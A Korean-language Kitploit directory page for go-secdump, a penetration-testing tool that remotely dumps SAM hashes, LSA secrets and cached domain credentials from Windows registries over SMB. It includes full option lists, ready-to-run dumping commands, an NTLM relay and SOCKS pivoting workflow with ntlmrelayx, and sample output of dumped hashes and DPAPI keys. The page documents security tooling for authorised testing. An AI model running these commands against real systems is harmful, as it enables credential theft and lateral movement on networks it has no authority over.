Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/jfjallid/go-secdump
Password CrackingEncryption/Decryption ToolsLateral MovementPost-ExploitationPenetration TestingAuthenticationRed Teaming
GitHubjfjallid/go-secdump

go-secdump

Windows 레지스트리에서 원격으로 비밀을 덤프하는 도구

저장소 보기
5346042개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

go-secdump

설명

go-secdump 패키지는 SAM 레지스트리 하이브에서 해시를 원격으로 추출하고, SECURITY 하이브에서 LSA 시크릿 및 캐시된 해시를 원격 에이전트 없이 디스크에 쓰지 않고 추출하도록 설계된 도구입니다.

이 도구는 go-smb 라이브러리 위에 구축되었으며, 이를 사용하여 Windows 원격 레지스트리와 통신하여 메모리에서 직접 레지스트리 키를 검색합니다.

이 도구는 학습 경험과 SAM 하이브에서 NT 해시, LSA 시크릿, 도메인 캐시 자격 증명을 레지스트리 하이브를 먼저 디스크에 저장한 후 로컬에서 구문 분석하지 않고 원격으로 검색할 수 있어야 한다는 개념 증명으로 만들어졌습니다.

극복해야 할 주요 문제는 SAM 및 SECURITY 하이브가 NT AUTHORITY\SYSTEM만 읽을 수 있다는 것이었습니다. 하지만 로컬 그룹 관리자가 레지스트리 하이브에 대한 WriteDACL 권한을 가지고 있어 일시적으로 자신에게 읽기 액세스 권한을 부여하여 시크릿을 검색한 다음 원래 권한을 복원할 수 있다는 것을 알게 되었습니다.

그러나 Synacktiv의 Julien Egloff가 2025년 2월에 더 나은 접근 방식을 발견했습니다. 레지스트리 키에 대한 핸들을 여는 데 사용되는 BaseRegOpenKey 요청에는 SeBackupPrivilege를 주장하는 옵션이 있어 DACL을 먼저 변경하지 않고도 레지스트리 키를 열 수 있습니다. 이 도구는 이 새로운 접근 방식을 선호하도록 업데이트되었으며, 요청 시에만 DACL을 변경합니다.

크레딧

이 프로젝트의 많은 코드는 Impacket의 secdump에서 영감을 받거나 가져왔지만, Windows 레지스트리에 원격으로 액세스하고 필요한 레지스트리 키에만 액세스하도록 변환되었습니다.

레지스트리 구조 및 암호화 방법을 이해하는 데 도움이 된 다른 일부 출처는 아래에 나열되어 있습니다:

https://www.passcape.com/index.php?section=docsys&cmd=details&id=23

http://www.beginningtoseethelight.org/ntsecurity/index.htm

https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral

SeBackupPrivilege를 사용하는 아이디어는 Synacktiv에서 비롯되었습니다: https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump

사용법

root@kitploit:~
Usage: ./go-secdump [options]

options:
      --host <target>        Hostname or ip address of remote server. Must be hostname when using Kerberos
  -P, --port <port>          SMB Port (default 445)
  -d, --domain <domain>      Domain name to use for login
  -u, --user <username>      Username
  -p, --pass <pass>          Password
  -n, --no-pass              Disable password prompt and send no credentials
      --hash <NT Hash>       Hex encoded NT Hash for user password
      --local                Authenticate as a local user instead of domain user
  -k, --kerberos             Use Kerberos authentication. (KRB5CCNAME will be checked on Linux)
      --dc-ip <ip>           Optionally specify ip of KDC when using Kerberos authentication
      --target-ip <ip>       Optionally specify ip of target when using Kerberos authentication
      --aes-key <hex>        Use a hex encoded AES128/256 key for Kerberos authentication
      --keytab-file <file>   Authenticate using keys from a keytab file (implies -k). User and
                             domain are taken from the first keytab entry if not specified
      --dns-host <ip[:port]> Override system's default DNS resolver
      --dns-tcp              Force DNS lookups over TCP. Default true when using --socks-host
      --dump                 Saves the SAM and SECURITY hives to disk and
                             transfers them to the local machine.
      --sam                  Extract secrets from the SAM hive explicitly. Only other explicit targets are included.
      --lsa                  Extract LSA secrets explicitly. Only other explicit targets are included.
      --dcc2                 Extract DCC2 caches explicitly. Only other explicit targets are included.
      --misc                 Extract misc registry secrets such as the Winlogon
                             DefaultPassword explicitly. Only other explicit targets are included.
      --modify-dacl          Change DACLs of reg keys before dump.
                             Only required if keys cannot be opened using SeBackupPrivilege. (default false)
      --backup-dacl          Save original DACLs to disk before modification
      --restore-dacl         Restore DACLs using disk backup. Could be useful if automated restore fails.
      --backup-file <file>   Filename for DACL backup (default dacl.backup)
      --relay                Start an SMB listener that will relay incoming
                             NTLM authentications to the remote server and
                             use that connection. NOTE that this forces SMB 2.1
                             without encryption.
      --relay-port <port>    Listening port for relay (default 445)
      --socks-host <target>  Establish connection via a SOCKS5 proxy server
      --socks-port <port>    SOCKS5 proxy port (default 1080)
  -t, --timeout <duration>   Dial timeout in format 5s or 2m (default 5s)
      --noenc                Disable smb encryption
      --smb2                 Force smb 2.1
      --debug                Enable debug logging. Bare --debug turns on every
                             registered package; --debug=msrrp,smb turns on only the
                             listed package-name suffixes (the '=' form is required
                             for the filter).
      --verbose              Enable verbose logging. Same filter syntax as --debug.
                             --debug and --verbose may be combined with different
                             filters; a package targeted by both gets the higher level.
      --list-log-packages    List the registered log package names that can be
                             targeted with --debug=<suffix> or --verbose=<suffix>,
                             then exit
  -o, --output <file>        Filename for writing results (default is stdout). Will append to file if it exists.
      --output-format <fmt>  Output format: text (default), json, or hashcat
      --history              Include historical (OldVal) LSA secrets in addition to current values
  -q, --quiet                Suppress informational headers; print only secrets
  -v, --version              Show version

DACL 변경

이제 --modify-dacl로 활성화되는 선택적 기능으로만, go-secdump는 필요한 레지스트리 키의 DACL을 자동으로 수정하고 복원하려고 시도합니다. 그러나 네트워크 연결 끊김 또는 기타 중단과 같은 복원 중 문제가 발생하면 원격 레지스트리는 수정된 DACL 상태로 남게 됩니다.

--backup-dacl 인수를 사용하면 수정 전에 원래 DACL의 직렬화된 복사본을 저장할 수 있습니다. 연결 문제가 발생하면 --restore-dacl 인수를 사용하여 파일에서 DACL을 나중에 복원할 수 있습니다.

예제

SeBackupPrivilege 트릭을 사용하여 모든 레지스트리 시크릿 덤프

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
or
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2

SAM, LSA, DCC2 캐시 또는 기타 레지스트리 시크릿만 덤프

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc

--misc 대상은 SAM/LSA/DCC2 하이브에 속하지 않는 기타 레지스트리 시크릿을 추출하며, 현재는 Winlogon 자동 로그온 DefaultPassword(및 관련 DefaultUserName)가 있는 경우 이를 추출합니다.

기록 LSA 시크릿, 출력 형식 및 자동 모드

--history를 사용하여 현재 값 외에도 기록(OldVal) LSA 시크릿을 포함합니다. -o/--output으로 결과를 파일에 쓰고(파일이 있으면 덧붙임), --output-format으로 시크릿 서식 방식을 선택합니다:

  • text (기본값) – 사람이 읽을 수 있는 형식
  • json – 추가 처리를 위해 유용한 유형화된 레코드의 JSON 배열
  • hashcat – hashcat에 바로 입력할 수 있는 순수 NT 해시(모드 1000) 및 $DCC2$ 라인(모드 2100)

-q/--quiet를 사용하면 정보 헤더와 요약을 생략하고 시크릿 자체만 출력합니다.

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --history --output-format json -o secrets.json
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --output-format hashcat --quiet

패키지별 로깅

대상으로 지정할 수 있는 로그 패키지 이름을 나열한 다음, 모든 패키지가 아닌 특정 패키지(이름 접미사로 일치)에 대해 디버그 또는 상세 로깅을 활성화합니다:

root@kitploit:~
./go-secdump --list-log-packages
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --debug=msrrp,smb

NTLM 릴레이

NTLM 릴레이를 사용하여 레지스트리 시크릿 덤프

리스너 시작

root@kitploit:~
./go-secdump --host 192.168.0.100 -n --relay

192.168.0.100에 대한 관리 액세스 권한이 있는 클라이언트에서 자신의 머신으로 인증을 트리거한 다음 덤프된 시크릿을 기다립니다.

root@kitploit:~
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5

Name: Guest
RID: 501
NT: <empty>

Name: DefaultAccount
RID: 503
NT: <empty>

Name: WDAGUtilityAccount
RID: 504
NT: <empty>

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...

SOCKS 프록시

피벗팅을 위해 또는 Impacket의 ntlmrelayx.py SOCKS 서버 기능을 활용하기 위해 업스트림 SOCKS5 프록시를 사용하여 시크릿을 덤프합니다.

ntlmrelayx.py를 업스트림 프록시로 사용할 때 제공된 사용자 이름은 인증된 클라이언트의 사용자 이름과 일치해야 하지만 비밀번호는 비워둘 수 있습니다.

root@kitploit:~
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...

./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080
도구 다운로드